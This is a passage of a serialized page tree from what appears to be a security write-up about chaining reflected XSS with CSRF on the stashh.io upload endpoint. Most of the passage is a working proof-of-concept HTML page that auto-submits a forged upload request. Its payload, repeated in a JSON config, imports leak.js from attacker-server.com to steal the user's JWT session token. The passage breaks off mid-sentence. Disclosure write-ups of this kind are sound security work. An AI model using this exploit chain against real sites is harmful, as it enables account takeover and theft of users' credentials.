fetch",{"type":23,"tag":134,"props":32427,"children":32428},{"style":168},[32429],{"type":28,"value":272},{"type":23,"tag":134,"props":32431,"children":32432},{"style":1461},[32433],{"type":28,"value":32434},"\"/sapo.png\"",{"type":23,"tag":134,"props":32436,"children":32437},{"style":168},[32438],{"type":28,"value":32439},")).",{"type":23,"tag":134,"props":32441,"children":32442},{"style":264},[32443],{"type":28,"value":32444},"blob",{"type":23,"tag":134,"props":32446,"children":32447},{"style":168},[32448],{"type":28,"value":7194},{"type":23,"tag":134,"props":32450,"children":32451},{"class":136,"line":827},[32452],{"type":23,"tag":134,"props":32453,"children":32454},{"emptyLinePlaceholder":15},[32455],{"type":28,"value":865},{"type":23,"tag":134,"props":32457,"children":32458},{"class":136,"line":836},[32459,32463,32468,32472,32476,32481,32486,32490,32494,32499,32504,32509,32514],{"type":23,"tag":134,"props":32460,"children":32461},{"style":162},[32462],{"type":28,"value":227},{"type":23,"tag":134,"props":32464,"children":32465},{"style":162},[32466],{"type":28,"value":32467}," f",{"type":23,"tag":134,"props":32469,"children":32470},{"style":168},[32471],{"type":28,"value":32407},{"type":23,"tag":134,"props":32473,"children":32474},{"style":151},[32475],{"type":28,"value":14591},{"type":23,"tag":134,"props":32477,"children":32478},{"style":264},[32479],{"type":28,"value":32480}," File",{"type":23,"tag":134,"props":32482,"children":32483},{"style":168},[32484],{"type":28,"value":32485},"([",{"type":23,"tag":134,"props":32487,"children":32488},{"style":162},[32489],{"type":28,"value":32444},{"type":23,"tag":134,"props":32491,"children":32492},{"style":168},[32493],{"type":28,"value":22539},{"type":23,"tag":134,"props":32495,"children":32496},{"style":1461},[32497],{"type":28,"value":32498},"'sapo.png'",{"type":23,"tag":134,"props":32500,"children":32501},{"style":168},[32502],{"type":28,"value":32503},", {",{"type":23,"tag":134,"props":32505,"children":32506},{"style":162},[32507],{"type":28,"value":32508},"type:",{"type":23,"tag":134,"props":32510,"children":32511},{"style":1461},[32512],{"type":28,"value":32513}," 'image/png'",{"type":23,"tag":134,"props":32515,"children":32516},{"style":168},[32517],{"type":28,"value":32518},"})\n",{"type":23,"tag":134,"props":32520,"children":32521},{"class":136,"line":859},[32522,32526,32531,32535,32539,32544],{"type":23,"tag":134,"props":32523,"children":32524},{"style":162},[32525],{"type":28,"value":32397},{"type":23,"tag":134,"props":32527,"children":32528},{"style":162},[32529],{"type":28,"value":32530}," dataTransfer",{"type":23,"tag":134,"props":32532,"children":32533},{"style":168},[32534],{"type":28,"value":32407},{"type":23,"tag":134,"props":32536,"children":32537},{"style":151},[32538],{"type":28,"value":14591},{"type":23,"tag":134,"props":32540,"children":32541},{"style":264},[32542],{"type":28,"value":32543}," DataTransfer",{"type":23,"tag":134,"props":32545,"children":32546},{"style":168},[32547],{"type":28,"value":856},{"type":23,"tag":134,"props":32549,"children":32550},{"class":136,"line":868},[32551,32556,32560,32565,32569,32573,32577,32582],{"type":23,"tag":134,"props":32552,"children":32553},{"style":162},[32554],{"type":28,"value":32555},"        dataTransfer",{"type":23,"tag":134,"props":32557,"children":32558},{"style":168},[32559],{"type":28,"value":720},{"type":23,"tag":134,"props":32561,"children":32562},{"style":162},[32563],{"type":28,"value":32564},"items",{"type":23,"tag":134,"props":32566,"children":32567},{"style":168},[32568],{"type":28,"value":720},{"type":23,"tag":134,"props":32570,"children":32571},{"style":264},[32572],{"type":28,"value":9102},{"type":23,"tag":134,"props":32574,"children":32575},{"style":168},[32576],{"type":28,"value":272},{"type":23,"tag":134,"props":32578,"children":32579},{"style":162},[32580],{"type":28,"value":32581},"f",{"type":23,"tag":134,"props":32583,"children":32584},{"style":168},[32585],{"type":28,"value":1021},{"type":23,"tag":134,"props":32587,"children":32588},{"class":136,"line":877},[32589],{"type":23,"tag":134,"props":32590,"children":32591},{"emptyLinePlaceholder":15},[32592],{"type":28,"value":865},{"type":23,"tag":134,"props":32594,"children":32595},{"class":136,"line":946},[32596,32601,32605,32610,32614,32619,32623,32627],{"type":23,"tag":134,"props":32597,"children":32598},{"style":162},[32599],{"type":28,"value":32600},"        file123",{"type":23,"tag":134,"props":32602,"children":32603},{"style":168},[32604],{"type":28,"value":720},{"type":23,"tag":134,"props":32606,"children":32607},{"style":162},[32608],{"type":28,"value":32609},"files",{"type":23,"tag":134,"props":32611,"children":32612},{"style":168},[32613],{"type":28,"value":32407},{"type":23,"tag":134,"props":32615,"children":32616},{"style":162},[32617],{"type":28,"value":32618},"dataTransfer",{"type":23,"tag":134,"props":32620,"children":32621},{"style":168},[32622],{"type":28,"value":720},{"type":23,"tag":134,"props":32624,"children":32625},{"style":162},[32626],{"type":28,"value":32609},{"type":23,"tag":134,"props":32628,"children":32629},{"style":168},[32630],{"type":28,"value":182},{"type":23,"tag":134,"props":32632,"children":32633},{"class":136,"line":954},[32634,32639],{"type":23,"tag":134,"props":32635,"children":32636},{"style":151},[32637],{"type":28,"value":32638},"    }",{"type":23,"tag":134,"props":32640,"children":32641},{"style":179},[32642],{"type":28,"value":32643},")()\n",{"type":23,"tag":134,"props":32645,"children":32646},{"class":136,"line":984},[32647],{"type":23,"tag":134,"props":32648,"children":32649},{"emptyLinePlaceholder":15},[32650],{"type":28,"value":865},{"type":23,"tag":134,"props":32652,"children":32653},{"class":136,"line":992},[32654,32658,32662],{"type":23,"tag":134,"props":32655,"children":32656},{"style":31871},[32657],{"type":28,"value":32340},{"type":23,"tag":134,"props":32659,"children":32660},{"style":151},[32661],{"type":28,"value":31911},{"type":23,"tag":134,"props":32663,"children":32664},{"style":31871},[32665],{"type":28,"value":5449},{"type":23,"tag":134,"props":32667,"children":32668},{"class":136,"line":1024},[32669,32673,32677],{"type":23,"tag":134,"props":32670,"children":32671},{"style":31871},[32672],{"type":28,"value":31925},{"type":23,"tag":134,"props":32674,"children":32675},{"style":151},[32676],{"type":28,"value":31878},{"type":23,"tag":134,"props":32678,"children":32679},{"style":31871},[32680],{"type":28,"value":5449},{"type":23,"tag":24,"props":32682,"children":32683},{},[32684],{"type":28,"value":32685},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":23,"tag":24,"props":32687,"children":32688},{},[32689],{"type":28,"value":32690},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":23,"tag":24,"props":32692,"children":32693},{},[32694],{"type":28,"value":32695},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":23,"tag":24,"props":32697,"children":32698},{},[32699],{"type":28,"value":32700},"From here, we were able to steal the session cookie from local storage.",{"type":23,"tag":87,"props":32702,"children":32704},{"className":30858,"code":32703,"language":30860,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[32705],{"type":23,"tag":92,"props":32706,"children":32707},{"__ignoreMap":7},[32708,32723,32738,32769,32844,32895,33083,33122,33137,33152,33159,33174,33181,33192,33243,33250,33305,33332,33367,33374,33409,33416,33437,33448,33455,33470],{"type":23,"tag":134,"props":32709,"children":32710},{"class":136,"line":137},[32711,32715,32719],{"type":23,"tag":134,"props":32712,"children":32713},{"style":31871},[32714],{"type":28,"value":5262},{"type":23,"tag":134,"props":32716,"children":32717},{"style":151},[32718],{"type":28,"value":31878},{"type":23,"tag":134,"props":32720,"children":32721},{"style":31871},[32722],{"type":28,"value":5449},{"type":23,"tag":134,"props":32724,"children":32725},{"class":136,"line":147},[32726,32730,32734],{"type":23,"tag":134,"props":32727,"children":32728},{"style":31871},[32729],{"type":28,"value":31890},{"type":23,"tag":134,"props":32731,"children":32732},{"style":151},[32733],{"type":28,"value":31895},{"type":23,"tag":134,"props":32735,"children":32736},{"style":31871},[32737],{"type":28,"value":5449},{"type":23,"tag":134,"props":32739,"children":32740},{"class":136,"line":185},[32741,32745,32749,32753,32757,32761,32765],{"type":23,"tag":134,"props":32742,"children":32743},{"style":31871},[32744],{"type":28,"value":31890},{"type":23,"tag":134,"props":32746,"children":32747},{"style":151},[32748],{"type":28,"value":31911},{"type":23,"tag":134,"props":32750,"children":32751},{"style":31871},[32752],{"type":28,"value":9927},{"type":23,"tag":134,"props":32754,"children":32755},{"style":179},[32756],{"type":28,"value":31920},{"type":23,"tag":134,"props":32758,"children":32759},{"style":31871},[32760],{"type":28,"value":31925},{"type":23,"tag":134,"props":32762,"children":32763},{"style":151},[32764],{"type":28,"value":31911},{"type":23,"tag":134,"props":32766,"children":32767},{"style":31871},[32768],{"type":28,"value":5449},{"type":23,"tag":134,"props":32770,"children":32771},{"class":136,"line":221},[32772,32776,32780,32784,32788,32792,32796,32800,32804,32808,32812,32816,32820,32824,32828,32832,32836,32840],{"type":23,"tag":134,"props":32773,"children":32774},{"style":31871},[32775],{"type":28,"value":31941},{"type":23,"tag":134,"props":32777,"children":32778},{"style":151},[32779],{"type":28,"value":31946},{"type":23,"tag":134,"props":32781,"children":32782},{"style":162},[32783],{"type":28,"value":31951},{"type":23,"tag":134,"props":32785,"children":32786},{"style":168},[32787],{"type":28,"value":257},{"type":23,"tag":134,"props":32789,"children":32790},{"style":1461},[32791],{"type":28,"value":31960},{"type":23,"tag":134,"props":32793,"children":32794},{"style":162},[32795],{"type":28,"value":31965},{"type":23,"tag":134,"props":32797,"children":32798},{"style":168},[32799],{"type":28,"value":257},{"type":23,"tag":134,"props":32801,"children":32802},{"style":1461},[32803],{"type":28,"value":31974},{"type":23,"tag":134,"props":32805,"children":32806},{"style":162},[32807],{"type":28,"value":16582},{"type":23,"tag":134,"props":32809,"children":32810},{"style":168},[32811],{"type":28,"value":257},{"type":23,"tag":134,"props":32813,"children":32814},{"style":1461},[32815],{"type":28,"value":31987},{"type":23,"tag":134,"props":32817,"children":32818},{"style":162},[32819],{"type":28,"value":31992},{"type":23,"tag":134,"props":32821,"children":32822},{"style":168},[32823],{"type":28,"value":257},{"type":23,"tag":134,"props":32825,"children":32826},{"style":1461},[32827],{"type":28,"value":32001},{"type":23,"tag":134,"props":32829,"children":32830},{"style":162},[32831],{"type":28,"value":32006},{"type":23,"tag":134,"props":32833,"children":32834},{"style":168},[32835],{"type":28,"value":257},{"type":23,"tag":134,"props":32837,"children":32838},{"style":1461},[32839],{"type":28,"value":32015},{"type":23,"tag":134,"props":32841,"children":32842},{"style":31871},[32843],{"type":28,"value":5449},{"type":23,"tag":134,"props":32845,"children":32846},{"class":136,"line":332},[32847,32851,32855,32859,32863,32867,32871,32875,32879,32883,32887,32891],{"type":23,"tag":134,"props":32848,"children":32849},{"style":31871},[32850],{"type":28,"value":32027},{"type":23,"tag":134,"props":32852,"children":32853},{"style":151},[32854],{"type":28,"value":7826},{"type":23,"tag":134,"props":32856,"children":32857},{"style":162},[32858],{"type":28,"value":32036},{"type":23,"tag":134,"props":32860,"children":32861},{"style":168},[32862],{"type":28,"value":257},{"type":23,"tag":134,"props":32864,"children":32865},{"style":1461},[32866],{"type":28,"value":32045},{"type":23,"tag":134,"props":32868,"children":32869},{"style":162},[32870],{"type":28,"value":32050},{"type":23,"tag":134,"props":32872,"children":32873},{"style":168},[32874],{"type":28,"value":257},{"type":23,"tag":134,"props":32876,"children":32877},{"style":1461},[32878],{"type":28,"value":32059},{"type":23,"tag":134,"props":32880,"children":32881},{"style":162},[32882],{"type":28,"value":31951},{"type":23,"tag":134,"props":32884,"children":32885},{"style":168},[32886],{"type":28,"value":257},{"type":23,"tag":134,"props":32888,"children":32889},{"style":1461},[32890],{"type":28,"value":32072},{"type":23,"tag":134,"props":32892,"children":32893},{"style":31871},[32894],{"type":28,"value":5449},{"type":23,"tag":134,"props":32896,"children":32897},{"class":136,"line":438},[32898,32902,32906,32910,32914,32918,32922,32926,32930,32934,32938,32942,32947,32951,32956,32960,32965,32969,32974,32979,32983,32987,32992,32997,33002,33007,33012,33017,33021,33026,33030,33034,33039,33043,33048,33053,33058,33062,33066,33070,33075,33079],{"type":23,"tag":134,"props":32899,"children":32900},{"style":31871},[32901],{"type":28,"value":32084},{"type":23,"tag":134,"props":32903,"children":32904},{"style":151},[32905],{"type":28,"value":7826},{"type":23,"tag":134,"props":32907,"children":32908},{"style":162},[32909],{"type":28,"value":32036},{"type":23,"tag":134,"props":32911,"children":32912},{"style":168},[32913],{"type":28,"value":257},{"type":23,"tag":134,"props":32915,"children":32916},{"style":1461},[32917],{"type":28,"value":32101},{"type":23,"tag":134,"props":32919,"children":32920},{"style":162},[32921],{"type":28,"value":32050},{"type":23,"tag":134,"props":32923,"children":32924},{"style":168},[32925],{"type":28,"value":257},{"type":23,"tag":134,"props":32927,"children":32928},{"style":1461},[32929],{"type":28,"value":32114},{"type":23,"tag":134,"props":32931,"children":32932},{"style":162},[32933],{"type":28,"value":32006},{"type":23,"tag":134,"props":32935,"children":32936},{"style":168},[32937],{"type":28,"value":257},{"type":23,"tag":134,"props":32939,"children":32940},{"style":1461},[32941],{"type":28,"value":19537},{"type":23,"tag":134,"props":32943,"children":32944},{"style":151},[32945],{"type":28,"value":32946},"{"",{"type":23,"tag":134,"props":32948,"children":32949},{"style":1461},[32950],{"type":28,"value":32136},{"type":23,"tag":134,"props":32952,"children":32953},{"style":151},[32954],{"type":28,"value":32955},"":"<",{"type":23,"tag":134,"props":32957,"children":32958},{"style":1461},[32959],{"type":28,"value":1116},{"type":23,"tag":134,"props":32961,"children":32962},{"style":151},[32963],{"type":28,"value":32964},"/",{"type":23,"tag":134,"props":32966,"children":32967},{"style":1461},[32968],{"type":28,"value":32165},{"type":23,"tag":134,"props":32970,"children":32971},{"style":151},[32972],{"type":28,"value":32973},"=",{"type":23,"tag":134,"props":32975,"children":32976},{"style":1461},[32977],{"type":28,"value":32978},"x onerror",{"type":23,"tag":134,"props":32980,"children":32981},{"style":151},[32982],{"type":28,"value":32973},{"type":23,"tag":134,"props":32984,"children":32985},{"style":1461},[32986],{"type":28,"value":18960},{"type":23,"tag":134,"props":32988,"children":32989},{"style":151},[32990],{"type":28,"value":32991},"(`",{"type":23,"tag":134,"props":32993,"children":32994},{"style":1461},[32995],{"type":28,"value":32996},"https",{"type":23,"tag":134,"props":32998,"children":32999},{"style":151},[33000],{"type":28,"value":33001},"://",{"type":23,"tag":134,"props":33003,"children":33004},{"style":1461},[33005],{"type":28,"value":33006},"attacker-server",{"type":23,"tag":134,"props":33008,"children":33009},{"style":151},[33010],{"type":28,"value":33011},".",{"type":23,"tag":134,"props":33013,"children":33014},{"style":1461},[33015],{"type":28,"value":33016},"com",{"type":23,"tag":134,"props":33018,"children":33019},{"style":151},[33020],{"type":28,"value":32964},{"type":23,"tag":134,"props":33022,"children":33023},{"style":1461},[33024],{"type":28,"value":33025},"leak",{"type":23,"tag":134,"props":33027,"children":33028},{"style":151},[33029],{"type":28,"value":33011},{"type":23,"tag":134,"props":33031,"children":33032},{"style":1461},[33033],{"type":28,"value":30860},{"type":23,"tag":134,"props":33035,"children":33036},{"style":151},[33037],{"type":28,"value":33038},"`)>","",{"type":23,"tag":134,"props":33040,"children":33041},{"style":1461},[33042],{"type":28,"value":32223},{"type":23,"tag":134,"props":33044,"children":33045},{"style":151},[33046],{"type":28,"value":33047},"":"",{"type":23,"tag":134,"props":33049,"children":33050},{"style":1461},[33051],{"type":28,"value":33052},"profile-assets",{"type":23,"tag":134,"props":33054,"children":33055},{"style":151},[33056],{"type":28,"value":33057},"","",{"type":23,"tag":134,"props":33059,"children":33060},{"style":1461},[33061],{"type":28,"value":32252},{"type":23,"tag":134,"props":33063,"children":33064},{"style":151},[33065],{"type":28,"value":33047},{"type":23,"tag":134,"props":33067,"children":33068},{"style":1461},[33069],{"type":28,"value":32261},{"type":23,"tag":134,"props":33071,"children":33072},{"style":151},[33073],{"type":28,"value":33074},""}",{"type":23,"tag":134,"props":33076,"children":33077},{"style":1461},[33078],{"type":28,"value":19537},{"type":23,"tag":134,"props":33080,"children":33081},{"style":31871},[33082],{"type":28,"value":32275},{"type":23,"tag":134,"props":33084,"children":33085},{"class":136,"line":466},[33086,33090,33094,33098,33102,33106,33110,33114,33118],{"type":23,"tag":134,"props":33087,"children":33088},{"style":31871},[33089],{"type":28,"value":32084},{"type":23,"tag":134,"props":33091,"children":33092},{"style":151},[33093],{"type":28,"value":7826},{"type":23,"tag":134,"props":33095,"children":33096},{"style":162},[33097],{"type":28,"value":32036},{"type":23,"tag":134,"props":33099,"children":33100},{"style":168},[33101],{"type":28,"value":257},{"type":23,"tag":134,"props":33103,"children":33104},{"style":1461},[33105],{"type":28,"value":32299},{"type":23,"tag":134,"props":33107,"children":33108},{"style":162},[33109],{"type":28,"value":32006},{"type":23,"tag":134,"props":33111,"children":33112},{"style":168},[33113],{"type":28,"value":257},{"type":23,"tag":134,"props":33115,"children":33116},{"style":1461},[33117],{"type":28,"value":32312},{"type":23,"tag":134,"props":33119,"children":33120},{"style":31871},[33121],{"type":28,"value":32275},{"type":23,"tag":134,"props":33123,"children":33124},{"class":136,"line":479},[33125,33129,33133],{"type":23,"tag":134,"props":33126,"children":33127},{"style":31871},[33128],{"type":28,"value":32324},{"type":23,"tag":134,"props":33130,"children":33131},{"style":151},[33132],{"type":28,"value":31946},{"type":23,"tag":134,"props":33134,"children":33135},{"style":31871},[33136],{"type":28,"value":5449},{"type":23,"tag":134,"props":33138,"children":33139},{"class":136,"line":497},[33140,33144,33148],{"type":23,"tag":134,"props":33141,"children":33142},{"style":31871},[33143],{"type":28,"value":32340},{"type":23,"tag":134,"props":33145,"children":33146},{"style":151},[33147],{"type":28,"value":31895},{"type":23,"tag":134,"props":33149,"children":33150},{"style":31871},[33151],{"type":28,"value":5449},{"type":23,"tag":134,"props":33153,"children":33154},{"class":136,"line":518},[33155],{"type":23,"tag":134,"props":33156,"children":33157},{"emptyLinePlaceholder":15},[33158],{"type":28,"value":865},{"type":23,"tag":134,"props":33160,"children":33161},{"class":136,"line":527},[33162,33166,33170],{"type":23,"tag":134,"props":33163,"children":33164},{"style":31871},[33165],{"type":28,"value":31890},{"type":23,"tag":134,"props":33167,"children":33168},{"style":151},[33169],{"type":28,"value":31911},{"type":23,"tag":134,"props":33171,"children":33172},{"style":31871},[33173],{"type":28,"value":5449},{"type":23,"tag":134,"props":33175,"children":33176},{"class":136,"line":780},[33177],{"type":23,"tag":134,"props":33178,"children":33179},{"emptyLinePlaceholder":15},[33180],{"type":28,"value":865},{"type":23,"tag":134,"props":33182,"children":33183},{"class":136,"line":797},[33184,33188],{"type":23,"tag":134,"props":33185,"children":33186},{"style":179},[33187],{"type":28,"value":32385},{"type":23,"tag":134,"props":33189,"children":33190},{"style":151},[33191],{"type":28,"value":10346},{"type":23,"tag":134,"props":33193,"children":33194},{"class":136,"line":814},[33195,33199,33203,33207,33211,33215,33219,33223,33227,33231,33235,33239],{"type":23,"tag":134,"props":33196,"children":33197},{"style":162},[33198],{"type":28,"value":32397},{"type":23,"tag":134,"props":33200,"children":33201},{"style":162},[33202],{"type":28,"value":32402},{"type":23,"tag":134,"props":33204,"children":33205},{"style":168},[33206],{"type":28,"value":32407},{"type":23,"tag":134,"props":33208,"children":33209},{"style":189},[33210],{"type":28,"value":32412},{"type":23,"tag":134,"props":33212,"children":33213},{"style":168},[33214],{"type":28,"value":232},{"type":23,"tag":134,"props":33216,"children":33217},{"style":189},[33218],{"type":28,"value":32412},{"type":23,"tag":134,"props":33220,"children":33221},{"style":264},[33222],{"type":28,"value":32425},{"type":23,"tag":134,"props":33224,"children":33225},{"style":168},[33226],{"type":28,"value":272},{"type":23,"tag":134,"props":33228,"children":33229},{"style":1461},[33230],{"type":28,"value":32434},{"type":23,"tag":134,"props":33232,"children":33233},{"style":168},[33234],{"type":28,"value":32439},{"type":23,"tag":134,"props":33236,"children":33237},{"style":264},[33238],{"type":28,"value":32444},{"type":23,"tag":134,"props":33240,"children":33241},{"style":168},[33242],{"type":28,"value":7194},{"type":23,"tag":134,"props":33244,"children":33245},{"class":136,"line":827},[33246],{"type":23,"tag":134,"props":33247,"children":33248},{"emptyLinePlaceholder":15},[33249],{"type":28,"value":865},{"type":23,"tag":134,"props":33251,"children":33252},{"class":136,"line":836},[33253,33257,33261,33265,33269,33273,33277,33281,33285,33289,33293,33297,33301],{"type":23,"tag":134,"props":33254,"children":33255},{"style":162},[33256],{"type":28,"value":227},{"type":23,"tag":134,"props":33258,"children":33259},{"style":162},[33260],{"type":28,"value":32467},{"type":23,"tag":134,"props":33262,"children":33263},{"style":168},[33264],{"type":28,"value":32407},{"type":23,"tag":134,"props":33266,"children":33267},{"style":151},[33268],{"type":28,"value":14591},{"type":23,"tag":134,"props":33270,"children":33271},{"style":264},[33272],{"type":28,"value":32480},{"type":23,"tag":134,"props":33274,"children":33275},{"style":168},[33276],{"type":28,"value":32485},{"type":23,"tag":134,"props":33278,"children":33279},{"style":162},[33280],{"type":28,"value":32444},{"type":23,"tag":134,"props":33282,"children":33283},{"style":168},[33284],{"type":28,"value":22539},{"type":23,"tag":134,"props":33286,"children":33287},{"style":1461},[33288],{"type":28,"value":32498},{"type":23,"tag":134,"props":33290,"children":33291},{"style":168},[33292],{"type":28,"value":32503},{"type":23,"tag":134,"props":33294,"children":33295},{"style":162},[33296],{"type":28,"value":32508},{"type":23,"tag":134,"props":33298,"children":33299},{"style":1461},[33300],{"type":28,"value":32513},{"type":23,"tag":134,"props":33302,"children":33303},{"style":168},[33304],{"type":28,"value":32518},{"type":23,"tag":134,"props":33306,"children":33307},{"class":136,"line":859},[33308,33312,33316,33320,33324,33328],{"type":23,"tag":134,"props":33309,"children":33310},{"style":162},[33311],{"type":28,"value":32397},{"type":23,"tag":134,"props":33313,"children":33314},{"style":162},[33315],{"type":28,"value":32530},{"type":23,"tag":134,"props":33317,"children":33318},{"style":168},[33319],{"type":28,"value":32407},{"type":23,"tag":134,"props":33321,"children":33322},{"style":151},[33323],{"type":28,"value":14591},{"type":23,"tag":134,"props":33325,"children":33326},{"style":264},[33327],{"type":28,"value":32543},{"type":23,"tag":134,"props":33329,"children":33330},{"style":168},[33331],{"type":28,"value":856},{"type":23,"tag":134,"props":33333,"children":33334},{"class":136,"line":868},[33335,33339,33343,33347,33351,33355,33359,33363],{"type":23,"tag":134,"props":33336,"children":33337},{"style":162},[33338],{"type":28,"value":32555},{"type":23,"tag":134,"props":33340,"children":33341},{"style":168},[33342],{"type":28,"value":720},{"type":23,"tag":134,"props":33344,"children":33345},{"style":162},[33346],{"type":28,"value":32564},{"type":23,"tag":134,"props":33348,"children":33349},{"style":168},[33350],{"type":28,"value":720},{"type":23,"tag":134,"props":33352,"children":33353},{"style":264},[33354],{"type":28,"value":9102},{"type":23,"tag":134,"props":33356,"children":33357},{"style":168},[33358],{"type":28,"value":272},{"type":23,"tag":134,"props":33360,"children":33361},{"style":162},[33362],{"type":28,"value":32581},{"type":23,"tag":134,"props":33364,"children":33365},{"style":168},[33366],{"type":28,"value":1021},{"type":23,"tag":134,"props":33368,"children":33369},{"class":136,"line":877},[33370],{"type":23,"tag":134,"props":33371,"children":33372},{"emptyLinePlaceholder":15},[33373],{"type":28,"value":865},{"type":23,"tag":134,"props":33375,"children":33376},{"class":136,"line":946},[33377,33381,33385,33389,33393,33397,33401,33405],{"type":23,"tag":134,"props":33378,"children":33379},{"style":162},[33380],{"type":28,"value":32600},{"type":23,"tag":134,"props":33382,"children":33383},{"style":168},[33384],{"type":28,"value":720},{"type":23,"tag":134,"props":33386,"children":33387},{"style":162},[33388],{"type":28,"value":32609},{"type":23,"tag":134,"props":33390,"children":33391},{"style":168},[33392],{"type":28,"value":32407},{"type":23,"tag":134,"props":33394,"children":33395},{"style":162},[33396],{"type":28,"value":32618},{"type":23,"tag":134,"props":33398,"children":33399},{"style":168},[33400],{"type":28,"value":720},{"type":23,"tag":134,"props":33402,"children":33403},{"style":162},[33404],{"type":28,"value":32609},{"type":23,"tag":134,"props":33406,"children":33407},{"style":168},[33408],{"type":28,"value":182},{"type":23,"tag":134,"props":33410,"children":33411},{"class":136,"line":954},[33412],{"type":23,"tag":134,"props":33413,"children":33414},{"emptyLinePlaceholder":15},[33415],{"type":28,"value":865},{"type":23,"tag":134,"props":33417,"children":33418},{"class":136,"line":984},[33419,33424,33428,33433],{"type":23,"tag":134,"props":33420,"children":33421},{"style":162},[33422],{"type":28,"value":33423},"        form123",{"type":23,"tag":134,"props":33425,"children":33426},{"style":168},[33427],{"type":28,"value":720},{"type":23,"tag":134,"props":33429,"children":33430},{"style":264},[33431],{"type":28,"value":33432},"submit",{"type":23,"tag":134,"props":33434,"children":33435},{"style":168},[33436],{"type":28,"value":7194},{"type":23,"tag":134,"props":33438,"children":33439},{"class":136,"line":992},[33440,33444],{"type":23,"tag":134,"props":33441,"children":33442},{"style":151},[33443],{"type":28,"value":32638},{"type":23,"tag":134,"props":33445,"children":33446},{"style":179},[33447],{"type":28,"value":32643},{"type":23,"tag":134,"props":33449,"children":33450},{"class":136,"line":1024},[33451],{"type":23,"tag":134,"props":33452,"children":33453},{"emptyLinePlaceholder":15},[33454],{"type":28,"value":865},{"type":23,"tag":134,"props":33456,"children":33457},{"class":136,"line":1032},[33458,33462,33466],{"type":23,"tag":134,"props":33459,"children":33460},{"style":31871},[33461],{"type":28,"value":32340},{"type":23,"tag":134,"props":33463,"children":33464},{"style":151},[33465],{"type":28,"value":31911},{"type":23,"tag":134,"props":33467,"children":33468},{"style":31871},[33469],{"type":28,"value":5449},{"type":23,"tag":134,"props":33471,"children":33472},{"class":136,"line":1092},[33473,33477,33481],{"type":23,"tag":134,"props":33474,"children":33475},{"style":31871},[33476],{"type":28,"value":31925},{"type":23,"tag":134,"props":33478,"children":33479},{"style":151},[33480],{"type":28,"value":31878},{"type":23,"tag":134,"props":33482,"children":33483},{"style":31871},[33484],{"type":28,"value":5449},{"type":23,"tag":24,"props":33486,"children":33487},{},[33488],{"type":28,"value":33489},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":23,"tag":87,"props":33491,"children":33495},{"className":33492,"code":33493,"language":33494,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[33496],{"type":23,"tag":92,"props":33497,"children":33498},{"__ignoreMap":7},[33499,33506,33527,33548,33565],{"type":23,"tag":134,"props":33500,"children":33501},{"class":136,"line":137},[33502],{"type":23,"tag":134,"props":33503,"children":33504},{"style":179},[33505],{"type":28,"value":10346},{"type":23,"tag":134,"props":33507,"children":33508},{"class":136,"line":147},[33509,33514,33518,33523],{"type":23,"tag":134,"props":33510,"children":33511},{"style":162},[33512],{"type":28,"value":33513},"  \"address\"",{"type":23,"tag":134,"props":33515,"children":33516},{"style":179},[33517],{"type":28,"value":14800},{"type":23,"tag":134,"props":33519,"children":33520},{"style":1461},[33521],{"type":28,"value":33522},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":23,"tag":134,"props":33524,"children":33525},{"style":179},[33526],{"type":28,"value":687},{"type":23,"tag":134,"props":33528,"children":33529},{"class":136,"line":185},[33530,33535,33539,33544],{"type":23,"tag":134,"props":33531,"children":33532},{"style":162},[33533],{"type":28,"value":33534},"  \"to\"",{"type":23,"tag":134,"props":33536,"children":33537},{"style":179},[33538],{"type":28,"value":14800},{"type":23,"tag":134,"props":33540,"children":33541},{"style":1461},[33542],{"type":28,"value":33543},"\"profile-assets\"",{"type":23,"tag":134,"props":33545,"children":33546},{"style":179},[33547],{"type":28,"value":687},{"type":23,"tag":134,"props":33549,"children":33550},{"class":136,"line":221},[33551,33556,33560],{"type":23,"tag":134,"props":33552,"children":33553},{"style":162},[33554],{"type":28,"value":33555},"  \"type\"",{"type":23,"tag":134,"props":33557,"children":33558},{"style":179},[33559],{"type":28,"value":14800},{"type":23,"tag":134,"props":33561,"children":33562},{"style":1461},[33563],{"type":28,"value":33564},"\"icon\"\n",{"type":23,"tag":134,"props":33566,"children":33567},{"class":136,"line":332},[33568],{"type":23,"tag":134,"props":33569,"children":33570},{"style":179},[33571],{"type":28,"value":1098},{"type":23,"tag":24,"props":33573,"children":33574},{},[33575],{"type":28,"value":33576},"Then, the imported script is able to exfiltrate the JWT authentication token from 